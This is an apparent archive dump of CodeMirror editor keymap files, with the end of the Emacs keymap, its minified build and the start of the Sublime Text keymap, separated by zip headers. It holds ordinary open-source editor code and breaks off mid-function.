    cm.execCommand("clearSearch");
    clearMark(cm);
  }

  CodeMirror.emacs = {kill: kill, killRegion: killRegion, repeated:
repeated};

  // Actual keymap

  var keyMap = CodeMirror.keyMap.emacs = CodeMirror.normalizeKeyMap({
    "Ctrl-W": function(cm) {kill(cm,
cm.getCursor("start"), cm.getCursor("end"), true);},
    "Ctrl-K": repeated(function(cm) {
      var start = cm.getCursor(), end = cm.clipPos(Pos(start.line));
      var text = cm.getRange(start, end);
      if (!/\S/.test(text)) {
        text += "\n";
        end = Pos(start.line + 1, 0);
      }
      kill(cm, start, end, "grow", text);
    }),
    "Alt-W": function(cm) {
      addToRing(cm.getSelection());
      clearMark(cm);
    },
    "Ctrl-Y": function(cm) {
      var start = cm.getCursor();
      cm.replaceRange(getFromRing(getPrefix(cm)), start, start,
"paste");
      cm.setSelection(start, cm.getCursor());
    },
    "Alt-Y": function(cm) {cm.replaceSelection(popFromRing(),
"around", "paste");},

    "Ctrl-Space": setMark, "Ctrl-Shift-2": setMark,

    "Ctrl-F": move(byChar, 1), "Ctrl-B": move(byChar,
-1),
    "Right": move(byChar, 1), "Left": move(byChar, -1),
    "Ctrl-D": function(cm) { killTo(cm, byChar, 1, false); },
    "Delete": function(cm) { killRegion(cm, false) || killTo(cm,
byChar, 1, false); },
    "Ctrl-H": function(cm) { killTo(cm, byChar, -1, false); },
    "Backspace": function(cm) { killRegion(cm, false) ||
killTo(cm, byChar, -1, false); },

    "Alt-F": move(byWord, 1), "Alt-B": move(byWord,
-1),
    "Alt-Right": move(byWord, 1), "Alt-Left":
move(byWord, -1),
    "Alt-D": function(cm) { killTo(cm, byWord, 1,
"grow"); },
    "Alt-Backspace": function(cm) { killTo(cm, byWord, -1,
"grow"); },

    "Ctrl-N": move(byLine, 1), "Ctrl-P": move(byLine,
-1),
    "Down": move(byLine, 1), "Up": move(byLine, -1),
    "Ctrl-A": "goLineStart", "Ctrl-E":
"goLineEnd",
    "End": "goLineEnd", "Home":
"goLineStart",

    "Alt-V": move(byPage, -1), "Ctrl-V": move(byPage,
1),
    "PageUp": move(byPage, -1), "PageDown":
move(byPage, 1),

    "Ctrl-Up": move(byParagraph, -1), "Ctrl-Down":
move(byParagraph, 1),

    "Alt-A": move(bySentence, -1), "Alt-E":
move(bySentence, 1),
    "Alt-K": function(cm) { killTo(cm, bySentence, 1,
"grow"); },

    "Ctrl-Alt-K": function(cm) { killTo(cm, byExpr, 1,
"grow"); },
    "Ctrl-Alt-Backspace": function(cm) { killTo(cm, byExpr, -1,
"grow"); },
    "Ctrl-Alt-F": move(byExpr, 1), "Ctrl-Alt-B":
move(byExpr, -1, "grow"),

    "Shift-Ctrl-Alt-2": function(cm) {
      var cursor = cm.getCursor();
      cm.setSelection(findEnd(cm, cursor, byExpr, 1), cursor);
    },
    "Ctrl-Alt-T": function(cm) {
      var leftStart = byExpr(cm, cm.getCursor(), -1), leftEnd = byExpr(cm,
leftStart, 1);
      var rightEnd = byExpr(cm, leftEnd, 1), rightStart = byExpr(cm,
rightEnd, -1);
      cm.replaceRange(cm.getRange(rightStart, rightEnd) +
cm.getRange(leftEnd, rightStart) +
                      cm.getRange(leftStart, leftEnd), leftStart,
rightEnd);
    },
    "Ctrl-Alt-U": repeated(toEnclosingExpr),

    "Alt-Space": function(cm) {
      var pos = cm.getCursor(), from = pos.ch, to = pos.ch, text =
cm.getLine(pos.line);
      while (from && /\s/.test(text.charAt(from - 1))) --from;
      while (to < text.length && /\s/.test(text.charAt(to)))
++to;
      cm.replaceRange(" ", Pos(pos.line, from), Pos(pos.line,
to));
    },
    "Ctrl-O": repeated(function(cm) {
cm.replaceSelection("\n", "start"); }),
    "Ctrl-T": repeated(function(cm) {
      cm.execCommand("transposeChars");
    }),

    "Alt-C": repeated(function(cm) {
      operateOnWord(cm, function(w) {
        var letter = w.search(/\w/);
        if (letter == -1) return w;
        return w.slice(0, letter) + w.charAt(letter).toUpperCase() +
w.slice(letter + 1).toLowerCase();
      });
    }),
    "Alt-U": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toUpperCase(); });
    }),
    "Alt-L": repeated(function(cm) {
      operateOnWord(cm, function(w) { return w.toLowerCase(); });
    }),

    "Alt-;": "toggleComment",

    "Ctrl-/": repeated("undo"),
"Shift-Ctrl--": repeated("undo"),
    "Ctrl-Z": repeated("undo"), "Cmd-Z":
repeated("undo"),
    "Shift-Ctrl-Z": "redo",
    "Shift-Alt-,": "goDocStart",
"Shift-Alt-.": "goDocEnd",
    "Ctrl-S": "findPersistentNext", "Ctrl-R":
"findPersistentPrev", "Ctrl-G": quit,
"Shift-Alt-5": "replace",
    "Alt-/": "autocomplete",
    "Enter": "newlineAndIndent",
    "Ctrl-J": repeated(function(cm) {
cm.replaceSelection("\n", "end"); }),
    "Tab": "indentAuto",

    "Alt-G G": function(cm) {
      var prefix = getPrefix(cm, true);
      if (prefix != null && prefix > 0) return
cm.setCursor(prefix - 1);

      getInput(cm, "Goto line", function(str) {
        var num;
        if (str && !isNaN(num = Number(str)) && num ==
(num|0) && num > 0)
          cm.setCursor(num - 1);
      });
    },

    "Ctrl-X Tab": function(cm) {
      cm.indentSelection(getPrefix(cm, true) ||
cm.getOption("indentUnit"));
    },
    "Ctrl-X Ctrl-X": function(cm) {
      cm.setSelection(cm.getCursor("head"),
cm.getCursor("anchor"));
    },
    "Ctrl-X Ctrl-S": "save",
    "Ctrl-X Ctrl-W": "save",
    "Ctrl-X S": "saveAll",
    "Ctrl-X F": "open",
    "Ctrl-X U": repeated("undo"),
    "Ctrl-X K": "close",
    "Ctrl-X Delete": function(cm) { kill(cm, cm.getCursor(),
bySentence(cm, cm.getCursor(), 1), "grow"); },
    "Ctrl-X H": "selectAll",

    "Ctrl-Q Tab": repeated("insertTab"),
    "Ctrl-U": addPrefixMap,
    "fallthrough": "default"
  });

  var prefixMap = {"Ctrl-G": clearPrefix};
  function regPrefix(d) {
    prefixMap[d] = function(cm) { addPrefix(cm, d); };
    keyMap["Ctrl-" + d] = function(cm) { addPrefix(cm, d); };
    prefixPreservingKeys["Ctrl-" + d] = true;
  }
  for (var i = 0; i < 10; ++i) regPrefix(String(i));
  regPrefix("-");
});
PKA��[�B���codemirror/keymap/emacs.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){return
a.line==b.line&&a.ch==b.ch}function
c(a){I.push(a),I.length>50&&I.shift()}function
d(a){if(!I.length)return c(a);I[I.length-1]+=a}function e(a){return
I[I.length-(a?Math.min(a,1):1)]||""}function f(){return
I.length>1&&I.pop(),e()}function
g(a,e,f,g,h){null==h&&(h=a.getRange(e,f)),"grow"==g&&J&&J.cm==a&&b(e,J.pos)&&a.isClean(J.gen)?d(h):!1!==g&&c(h),a.replaceRange("",e,f,"+delete"),J="grow"==g?{cm:a,pos:e,gen:a.changeGeneration()}:null}function
h(a,b,c){return a.findPosH(b,c,"char",!0)}function
i(a,b,c){return a.findPosH(b,c,"word",!0)}function
j(a,b,c){return
a.findPosV(b,c,"line",a.doc.sel.goalColumn)}function
k(a,b,c){return
a.findPosV(b,c,"page",a.doc.sel.goalColumn)}function
l(a,b,c){for(var
d=b.line,e=a.getLine(d),f=/\S/.test(c<0?e.slice(0,b.ch):e.slice(b.ch)),g=a.firstLine(),h=a.lastLine();;){if((d+=c)<g||d>h)return
a.clipPos(H(d-c,c<0?0:null));e=a.getLine(d);if(/\S/.test(e))f=!0;else
if(f)return H(d,0)}}function m(a,b,c){for(var
d=b.line,e=b.ch,f=a.getLine(b.line),g=!1;;){var
h=f.charAt(e+(c<0?-1:0));if(h){if(g&&/[!?.]/.test(h))return
H(d,e+(c>0?1:0));g||(g=/\w/.test(h)),e+=c}else{if(d==(c<0?a.firstLine():a.lastLine()))return
H(d,e);if(f=a.getLine(d+c),!/\S/.test(f))return
H(d,e);d+=c,e=c<0?f.length:0}}}function n(a,c,d){var
e;if(a.findMatchingBracket&&(e=a.findMatchingBracket(c,{strict:!0}))&&e.match&&(e.forward?1:-1)==d)return
d>0?H(e.to.line,e.to.ch+1):e.to;for(var f=!0;;f=!1){var
g=a.getTokenAt(c),h=H(c.line,d<0?g.start:g.end);if(!(f&&d>0&&g.end==c.ch)&&/\w/.test(g.string))return
h;var i=a.findPosH(h,d,"char");if(b(h,i))return c;c=i}}function
o(a,b){var c=a.state.emacsPrefix;return
c?(w(a),"-"==c?-1:Number(c)):b?null:1}function p(a){var
b="string"==typeof a?function(b){b.execCommand(a)}:a;return
function(a){var c=o(a);b(a);for(var d=1;d<c;++d)b(a)}}function
q(a,c,d,e){var f=o(a);f<0&&(e=-e,f=-f);for(var
g=0;g<f;++g){var h=d(a,c,e);if(b(h,c))break;c=h}return c}function
r(a,b){var c=function(c){c.extendSelection(q(c,c.getCursor(),a,b))};return
c.motion=!0,c}function s(a,b,c,d){for(var
e,f=a.listSelections(),h=f.length;h--;)e=f[h].head,g(a,e,q(a,e,b,c),d)}function
t(a,b){if(a.somethingSelected()){for(var
c,d=a.listSelections(),e=d.length;e--;)c=d[e],g(a,c.anchor,c.head,b);return!0}}function
u(a,b){if(a.state.emacsPrefix)return
void("-"!=b&&(a.state.emacsPrefix+=b));a.state.emacsPrefix=b,a.on("keyHandled",v),a.on("inputRead",x)}function
v(a,b){a.state.emacsPrefixMap||K.hasOwnProperty(b)||w(a)}function
w(a){a.state.emacsPrefix=null,a.off("keyHandled",v),a.off("inputRead",x)}function
x(a,b){var c=o(a);if(c>1&&"+input"==b.origin){for(var
d=b.text.join("\n"),e="",f=1;f<c;++f)e+=d;a.replaceSelection(e)}}function
y(a){a.state.emacsPrefixMap=!0,a.addKeyMap(M),a.on("keyHandled",z),a.on("inputRead",z)}function
z(a,b){("string"!=typeof
b||!/^\d$/.test(b)&&"Ctrl-U"!=b)&&(a.removeKeyMap(M),a.state.emacsPrefixMap=!1,a.off("keyHandled",z),a.off("inputRead",z))}function
A(a){a.setCursor(a.getCursor()),a.setExtending(!a.getExtending()),a.on("change",(function(){a.setExtending(!1)}))}function
B(a){a.setExtending(!1),a.setCursor(a.getCursor())}function
C(a,b,c){a.openDialog?a.openDialog(b+': <input
type="text" style="width:
10em"/>',c,{bottom:!0}):c(prompt(b,""))}function
D(a,b){var
c=a.getCursor(),d=a.findPosH(c,1,"word");a.replaceRange(b(a.getRange(c,d)),c,d),a.setCursor(d)}function
E(a){for(var
b=a.getCursor(),c=b.line,d=b.ch,e=[];c>=a.firstLine();){for(var
f=a.getLine(c),g=null==d?f.length:d;g>0;){var
d=f.charAt(--g);if(")"==d)e.push("(");else
if("]"==d)e.push("[");else
if("}"==d)e.push("{");else
if(/[\(\{\[]/.test(d)&&(!e.length||e.pop()!=d))return
a.extendSelection(H(c,g))}--c,d=null}}function
F(a){a.execCommand("clearSearch"),B(a)}function
G(a){M[a]=function(b){u(b,a)},L["Ctrl-"+a]=function(b){u(b,a)},K["Ctrl-"+a]=!0}var
H=a.Pos,I=[],J=null,K={"Alt-G":!0,"Ctrl-X":!0,"Ctrl-Q":!0,"Ctrl-U":!0};a.emacs={kill:g,killRegion:t,repeated:p};for(var
L=a.keyMap.emacs=a.normalizeKeyMap({"Ctrl-W":function(a){g(a,a.getCursor("start"),a.getCursor("end"),!0)},"Ctrl-K":p((function(a){var
b=a.getCursor(),c=a.clipPos(H(b.line)),d=a.getRange(b,c);/\S/.test(d)||(d+="\n",c=H(b.line+1,0)),g(a,b,c,"grow",d)})),"Alt-W":function(a){c(a.getSelection()),B(a)},"Ctrl-Y":function(a){var
b=a.getCursor();a.replaceRange(e(o(a)),b,b,"paste"),a.setSelection(b,a.getCursor())},"Alt-Y":function(a){a.replaceSelection(f(),"around","paste")},"Ctrl-Space":A,"Ctrl-Shift-2":A,"Ctrl-F":r(h,1),"Ctrl-B":r(h,-1),Right:r(h,1),Left:r(h,-1),"Ctrl-D":function(a){s(a,h,1,!1)},Delete:function(a){t(a,!1)||s(a,h,1,!1)},"Ctrl-H":function(a){s(a,h,-1,!1)},Backspace:function(a){t(a,!1)||s(a,h,-1,!1)},"Alt-F":r(i,1),"Alt-B":r(i,-1),"Alt-Right":r(i,1),"Alt-Left":r(i,-1),"Alt-D":function(a){s(a,i,1,"grow")},"Alt-Backspace":function(a){s(a,i,-1,"grow")},"Ctrl-N":r(j,1),"Ctrl-P":r(j,-1),Down:r(j,1),Up:r(j,-1),"Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd",End:"goLineEnd",Home:"goLineStart","Alt-V":r(k,-1),"Ctrl-V":r(k,1),PageUp:r(k,-1),PageDown:r(k,1),"Ctrl-Up":r(l,-1),"Ctrl-Down":r(l,1),"Alt-A":r(m,-1),"Alt-E":r(m,1),"Alt-K":function(a){s(a,m,1,"grow")},"Ctrl-Alt-K":function(a){s(a,n,1,"grow")},"Ctrl-Alt-Backspace":function(a){s(a,n,-1,"grow")},"Ctrl-Alt-F":r(n,1),"Ctrl-Alt-B":r(n,-1),"Shift-Ctrl-Alt-2":function(a){var
b=a.getCursor();a.setSelection(q(a,b,n,1),b)},"Ctrl-Alt-T":function(a){var
b=n(a,a.getCursor(),-1),c=n(a,b,1),d=n(a,c,1),e=n(a,d,-1);a.replaceRange(a.getRange(e,d)+a.getRange(c,e)+a.getRange(b,c),b,d)},"Ctrl-Alt-U":p(E),"Alt-Space":function(a){for(var
b=a.getCursor(),c=b.ch,d=b.ch,e=a.getLine(b.line);c&&/\s/.test(e.charAt(c-1));)--c;for(;d<e.length&&/\s/.test(e.charAt(d));)++d;a.replaceRange("
",H(b.line,c),H(b.line,d))},"Ctrl-O":p((function(a){a.replaceSelection("\n","start")})),"Ctrl-T":p((function(a){a.execCommand("transposeChars")})),"Alt-C":p((function(a){D(a,(function(a){var
b=a.search(/\w/);return-1==b?a:a.slice(0,b)+a.charAt(b).toUpperCase()+a.slice(b+1).toLowerCase()}))})),"Alt-U":p((function(a){D(a,(function(a){return
a.toUpperCase()}))})),"Alt-L":p((function(a){D(a,(function(a){return
a.toLowerCase()}))})),"Alt-;":"toggleComment","Ctrl-/":p("undo"),"Shift-Ctrl--":p("undo"),"Ctrl-Z":p("undo"),"Cmd-Z":p("undo"),"Shift-Ctrl-Z":"redo","Shift-Alt-,":"goDocStart","Shift-Alt-.":"goDocEnd","Ctrl-S":"findPersistentNext","Ctrl-R":"findPersistentPrev","Ctrl-G":F,"Shift-Alt-5":"replace","Alt-/":"autocomplete",Enter:"newlineAndIndent","Ctrl-J":p((function(a){a.replaceSelection("\n","end")})),Tab:"indentAuto","Alt-G
G":function(a){var b=o(a,!0);if(null!=b&&b>0)return
a.setCursor(b-1);C(a,"Goto line",(function(b){var
c;b&&!isNaN(c=Number(b))&&c==(0|c)&&c>0&&a.setCursor(c-1)}))},"Ctrl-X
Tab":function(a){a.indentSelection(o(a,!0)||a.getOption("indentUnit"))},"Ctrl-X
Ctrl-X":function(a){a.setSelection(a.getCursor("head"),a.getCursor("anchor"))},"Ctrl-X
Ctrl-S":"save","Ctrl-X
Ctrl-W":"save","Ctrl-X
S":"saveAll","Ctrl-X
F":"open","Ctrl-X
U":p("undo"),"Ctrl-X
K":"close","Ctrl-X
Delete":function(a){g(a,a.getCursor(),m(a,a.getCursor(),1),"grow")},"Ctrl-X
H":"selectAll","Ctrl-Q
Tab":p("insertTab"),"Ctrl-U":y,fallthrough:"default"}),M={"Ctrl-G":w},N=0;N<10;++N)G(String(N));G("-")}));PKA��[Qn��f�fcodemirror/keymap/sublime.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// A rough approximation of Sublime Text's keybindings
// Depends on addon/search/searchcursor.js and optionally
addon/dialog/dialogs.js

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../lib/codemirror"),
require("../addon/search/searchcursor"),
require("../addon/edit/matchbrackets"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../lib/codemirror",
"../addon/search/searchcursor",
"../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var cmds = CodeMirror.commands;
  var Pos = CodeMirror.Pos;

  // This is not exactly Sublime's algorithm. I couldn't make
heads or tails of that.
  function findPosSubword(doc, start, dir) {
    if (dir < 0 && start.ch == 0) return
doc.clipPos(Pos(start.line - 1));
    var line = doc.getLine(start.line);
    if (dir > 0 && start.ch >= line.length) return
doc.clipPos(Pos(start.line + 1, 0));
    var state = "start", type, startPos = start.ch;
    for (var pos = startPos, e = dir < 0 ? 0 : line.length, i = 0; pos
!= e; pos += dir, i++) {
      var next = line.charAt(dir < 0 ? pos - 1 : pos);
      var cat = next != "_" &&
CodeMirror.isWordChar(next) ? "w" : "o";
      if (cat == "w" && next.toUpperCase() == next) cat =
"W";
      if (state == "start") {
        if (cat != "o") { state = "in"; type = cat; }
        else startPos = pos + dir
      } else if (state == "in") {
        if (type != cat) {
          if (type == "w" && cat == "W"
&& dir < 0) pos--;
          if (type == "W" && cat == "w"
&& dir > 0) { // From uppercase to lowercase
            if (pos == startPos + 1) { type = "w"; continue; }
            else pos--;
          }
          break;
        }
      }
    }
    return Pos(start.line, pos);
  }

  function moveSubword(cm, dir) {
    cm.extendSelectionsBy(function(range) {
      if (cm.display.shift || cm.doc.extend || range.empty())
        return findPosSubword(cm.doc, range.head, dir);
      else
        return dir < 0 ? range.from() : range.to();
    });
  }

  cmds.goSubwordLeft = function(cm) { moveSubword(cm, -1); };
  cmds.goSubwordRight = function(cm) { moveSubword(cm, 1); };

  cmds.scrollLineUp = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleBottomLine = cm.lineAtHeight(info.top + info.clientHeight,
"local");
      if (cm.getCursor().line >= visibleBottomLine)
        cm.execCommand("goLineUp");
    }
    cm.scrollTo(null, info.top - cm.defaultTextHeight());
  };
  cmds.scrollLineDown = function(cm) {
    var info = cm.getScrollInfo();
    if (!cm.somethingSelected()) {
      var visibleTopLine = cm.lineAtHeight(info.top, "local")+1;
      if (cm.getCursor().line <= visibleTopLine)
        cm.execCommand("goLineDown");
    }
    cm.scrollTo(null, info.top + cm.defaultTextHeight());
  };

  cmds.splitSelectionByLine = function(cm) {
    var ranges = cm.listSelections(), lineRanges = [];
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      for (var line = from.line; line <= to.line; ++line)
        if (!(to.line > from.line && line == to.line &&
to.ch == 0))
          lineRanges.push({anchor: line == from.line ? from : Pos(line, 0),
                           head: line == to.line ? to : Pos(line)});
    }
    cm.setSelections(lineRanges, 0);
  };

  cmds.singleSelectionTop = function(cm) {
    var range = cm.listSelections()[0];
    cm.setSelection(range.anchor, range.head, {scroll: false});
  };

  cmds.selectLine = function(cm) {
    var ranges = cm.listSelections(), extended = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      extended.push({anchor: Pos(range.from().line, 0),
                     head: Pos(range.to().line + 1, 0)});
    }
    cm.setSelections(extended);
  };

  function insertLine(cm, above) {
    if (cm.isReadOnly()) return CodeMirror.Pass
    cm.operation(function() {
      var len = cm.listSelections().length, newSelection = [], last = -1;
      for (var i = 0; i < len; i++) {
        var head = cm.listSelections()[i].head;
        if (head.line <= last) continue;
        var at = Pos(head.line + (above ? 0 : 1), 0);
        cm.replaceRange("\n", at, null, "+insertLine");
        cm.indentLine(at.line, null, true);
        newSelection.push({head: at, anchor: at});
        last = head.line + 1;
      }
      cm.setSelections(newSelection);
    });
    cm.execCommand("indentAuto");
  }

  cmds.insertLineAfter = function(cm) { return insertLine(cm, false); };

  cmds.insertLineBefore = function(cm) { return insertLine(cm, true); };

  function wordAt(cm, pos) {
    var start = pos.ch, end = start, line = cm.getLine(pos.line);
    while (start && CodeMirror.isWordChar(line.charAt(start - 1)))
--start;
    while (end < line.length &&
CodeMirror.isWordChar(line.charAt(end))) ++end;
    return {from: Pos(pos.line, start), to: Pos(pos.line, end), word:
line.slice(start, end)};
  }

  cmds.selectNextOccurrence = function(cm) {
    var from = cm.getCursor("from"), to =
cm.getCursor("to");
    var fullWord = cm.state.sublimeFindFullWord == cm.doc.sel;
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      cm.setSelection(word.from, word.to);
      fullWord = true;
    } else {
      var text = cm.getRange(from, to);
      var query = fullWord ? new RegExp("\\b" + text +
"\\b") : text;
      var cur = cm.getSearchCursor(query, to);
      var found = cur.findNext();
      if (!found) {
        cur = cm.getSearchCursor(query, Pos(cm.firstLine(), 0));
        found = cur.findNext();
      }
      if (!found || isSelectedRange(cm.listSelections(), cur.from(),
cur.to())) return
      cm.addSelection(cur.from(), cur.to());
    }
    if (fullWord)
      cm.state.sublimeFindFullWord = cm.doc.sel;
  };

  cmds.skipAndSelectNextOccurrence = function(cm) {
    var prevAnchor = cm.getCursor("anchor"), prevHead =
cm.getCursor("head");
    cmds.selectNextOccurrence(cm);
    if (CodeMirror.cmpPos(prevAnchor, prevHead) != 0) {
      cm.doc.setSelections(cm.doc.listSelections()
          .filter(function (sel) {
            return sel.anchor != prevAnchor || sel.head != prevHead;
          }));
    }
  }

  function addCursorToSelection(cm, dir) {
    var ranges = cm.listSelections(), newRanges = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      var newAnchor = cm.findPosV(
          range.anchor, dir, "line", range.anchor.goalColumn);
      var newHead = cm.findPosV(
          range.head, dir, "line", range.head.goalColumn);
      newAnchor.goalColumn = range.anchor.goalColumn != null ?
          range.anchor.goalColumn : cm.cursorCoords(range.anchor,
"div").left;
      newHead.goalColumn = range.head.goalColumn != null ?
          range.head.goalColumn : cm.cursorCoords(range.head,
"div").left;
      var newRange = {anchor: newAnchor, head: newHead};
      newRanges.push(range);
      newRanges.push(newRange);
    }
    cm.setSelections(newRanges);
  }
  cmds.addCursorToPrevLine = function(cm) { addCursorToSelection(cm, -1);
};
  cmds.addCursorToNextLine = function(cm) { addCursorToSelection(cm, 1); };

  function isSelectedRange(ranges, from, to) {
    for (var i = 0; i < ranges.length; i++)
      if (CodeMirror.cmpPos(ranges[i].from(), from) == 0 &&
          CodeMirror.cmpPos(ranges[i].to(), to) == 0) return true
    return false
  }

  var mirror = "(){}[]";
  function selectBetweenBrackets(cm) {
    var ranges = cm.listSelections(), newRanges = []
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], pos = range.head, opening =
cm.scanForBracket(pos, -1);
      if (!opening) return false;
      for (;;) {
        var closing = cm.scanForBracket(pos, 1);
        if (!closing) return false;
        if (closing.ch == mirror.charAt(mirror.indexOf(opening.ch) + 1)) {
          var startPos = Pos(opening.pos.line, opening.pos.ch + 1);
          if (CodeMirror.cmpPos(startPos, range.from()) == 0 &&
              CodeMirror.cmpPos(closing.pos, range.to()) == 0) {
            opening = cm.scanForBracket(opening.pos, -1);
            if (!opening) return false;
          } else {
            newRanges.push({anchor: startPos, head: closing.pos});
            break;
          }
        }
        pos = Pos(closing.pos.line, closing.pos.ch + 1);
      }
    }
    cm.setSelections(newRanges);
    return true;
  }

  cmds.selectScope = function(cm) {
    selectBetweenBrackets(cm) || cm.execCommand("selectAll");
  };
  cmds.selectBetweenBrackets = function(cm) {
    if (!selectBetweenBrackets(cm)) return CodeMirror.Pass;
  };

  function puncType(type) {
    return !type ? null : /\bpunctuation\b/.test(type) ? type : undefined
  }

  cmds.goToBracket = function(cm) {
    cm.extendSelectionsBy(function(range) {
      var next = cm.scanForBracket(range.head, 1,
puncType(cm.getTokenTypeAt(range.head)));
      if (next && CodeMirror.cmpPos(next.pos, range.head) != 0)
return next.pos;
      var prev = cm.scanForBracket(range.head, -1,
puncType(cm.getTokenTypeAt(Pos(range.head.line, range.head.ch + 1))));
      return prev && Pos(prev.pos.line, prev.pos.ch + 1) ||
range.head;
    });
  };

  cmds.swapLineUp = function(cm) {
    if (cm.isReadOnly()) return CodeMirror.Pass
    var ranges = cm.listSelections(), linesToMove = [], at = cm.firstLine()
- 1, newSels = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from().line - 1, to =
range.to().line;
      newSels.push({anchor: Pos(range.anchor.line - 1, range.anchor.ch),
                    head: Pos(range.head.line - 1, range.head.ch)});
      if (range.to().ch == 0 && !range.empty()) --to;
      if (from > at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] =
to;
      at = to;
    }
    cm.operation(function() {
      for (var i = 0; i < linesToMove.length; i += 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0),
"+swapLine");
        if (to > cm.lastLine())
          cm.replaceRange("\n" + line, Pos(cm.lastLine()), null,
"+swapLine");
        else
          cm.replaceRange(line + "\n", Pos(to, 0), null,
"+swapLine");
      }
      cm.setSelections(newSels);
      cm.scrollIntoView();
    });
  };

  cmds.swapLineDown = function(cm) {
    if (cm.isReadOnly()) return CodeMirror.Pass
    var ranges = cm.listSelections(), linesToMove = [], at = cm.lastLine()
+ 1;
    for (var i = ranges.length - 1; i >= 0; i--) {
      var range = ranges[i], from = range.to().line + 1, to =
range.from().line;
      if (range.to().ch == 0 && !range.empty()) from--;
      if (from < at) linesToMove.push(from, to);
      else if (linesToMove.length) linesToMove[linesToMove.length - 1] =
to;
      at = to;
    }
    cm.operation(function() {
      for (var i = linesToMove.length - 2; i >= 0; i -= 2) {
        var from = linesToMove[i], to = linesToMove[i + 1];
        var line = cm.getLine(from);
        if (from == cm.lastLine())
          cm.replaceRange("", Pos(from - 1), Pos(from),
"+swapLine");
        else
          cm.replaceRange("", Pos(from, 0), Pos(from + 1, 0),
"+swapLine");
        cm.replaceRange(line + "\n", Pos(to, 0), null,
"+swapLine");
      }
      cm.scrollIntoView();
    });
  };

  cmds.toggleCommentIndented = function(cm) {
    cm.toggleComment({ indent: true });
  }

  cmds.joinLines = function(cm) {
    var ranges = cm.listSelections(), joined = [];
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i], from = range.from();
      var start = from.line, end = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line
== end)
        end = ranges[++i].to().line;
      joined.push({start: start, end: end, anchor: !range.empty()
&& from});
    }
    cm.operation(function() {
      var offset = 0, ranges = [];
      for (var i = 0; i < joined.length; i++) {
        var obj = joined[i];
        var anchor = obj.anchor && Pos(obj.anchor.line - offset,
obj.anchor.ch), head;
        for (var line = obj.start; line <= obj.end; line++) {
          var actual = line - offset;
          if (line == obj.end) head = Pos(actual, cm.getLine(actual).length
+ 1);
          if (actual < cm.lastLine()) {
            cm.replaceRange(" ", Pos(actual), Pos(actual + 1,
/^\s*/.exec(cm.getLine(actual + 1))[0].length));
            ++offset;
          }
        }
        ranges.push({anchor: anchor || head, head: head});
      }
      cm.setSelections(ranges, 0);
    });
  };

  cmds.duplicateLine = function(cm) {
    cm.operation(function() {
      var rangeCount = cm.listSelections().length;
      for (var i = 0; i < rangeCount; i++) {
        var range = cm.listSelections()[i];
        if (range.empty())
          cm.replaceRange(cm.getLine(range.head.line) + "\n",
Pos(range.head.line, 0));
        else
          cm.replaceRange(cm.getRange(range.from(), range.to()),
range.from());
      }
      cm.scrollIntoView();
    });
  };


  function sortLines(cm, caseSensitive) {
    if (cm.isReadOnly()) return CodeMirror.Pass
    var ranges = cm.listSelections(), toSort = [], selected;
    for (var i = 0; i < ranges.length; i++) {
      var range = ranges[i];
      if (range.empty()) continue;
      var from = range.from().line, to = range.to().line;
      while (i < ranges.length - 1 && ranges[i + 1].from().line
== to)
        to = ranges[++i].to().line;
      if (!ranges[i].to().ch) to--;
      toSort.push(from, to);
    }
    if (toSort.length) selected = true;
    else toSort.push(cm.firstLine(), cm.lastLine());

    cm.operation(function() {
      var ranges = [];
      for (var i = 0; i < toSort.length; i += 2) {
        var from = toSort[i], to = toSort[i + 1];
        var start = Pos(from, 0), end = Pos(to);
        var lines = cm.getRange(start, end, false);
        if (caseSensitive)
          lines.sort();
        else
          lines.sort(function(a, b) {
            var au = a.toUpperCase(), bu = b.toUpperCase();
            if (au != bu) { a = au; b = bu; }
            return a < b ? -1 : a == b ? 0 : 1;
          });
        cm.replaceRange(lines, start, end);
        if (selected) ranges.push({anchor: start, head: Pos(to + 1, 0)});
      }
      if (selected) cm.setSelections(ranges, 0);
    });
  }

  cmds.sortLines = function(cm) { sortLines(cm, true); };
  cmds.sortLinesInsensitive = function(cm) { sortLines(cm, false); };

  cmds.nextBookmark = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      var current = marks.shift();
      var found = current.find();
      if (found) {
        marks.push(current);
        return cm.setSelection(found.from, found.to);
      }
    }
  };

  cmds.prevBookmark = function(cm) {
    var marks = cm.state.sublimeBookmarks;
    if (marks) while (marks.length) {
      marks.unshift(marks.pop());
      var found = marks[marks.length - 1].find();
      if (!found)
        marks.pop();
      else
        return cm.setSelection(found.from, found.to);
    }
  };

  cmds.toggleBookmark = function(cm) {
    var ranges = cm.listSelections();
    var marks = cm.state.sublimeBookmarks || (cm.state.sublimeBookmarks =
[]);
    for (var i = 0; i < ranges.length; i++) {
      var from = ranges[i].from(), to = ranges[i].to();
      var found = ranges[i].empty() ? cm.findMarksAt(from) :
cm.findMarks(from, to);
      for (var j = 0; j < found.length; j++) {
        if (found[j].sublimeBookmark) {
          found[j].clear();
          for (var k = 0; k < marks.length; k++)
            if (marks[k] == found[j])
              marks.splice(k--, 1);
          break;
        }
      }
      if (j == found.length)
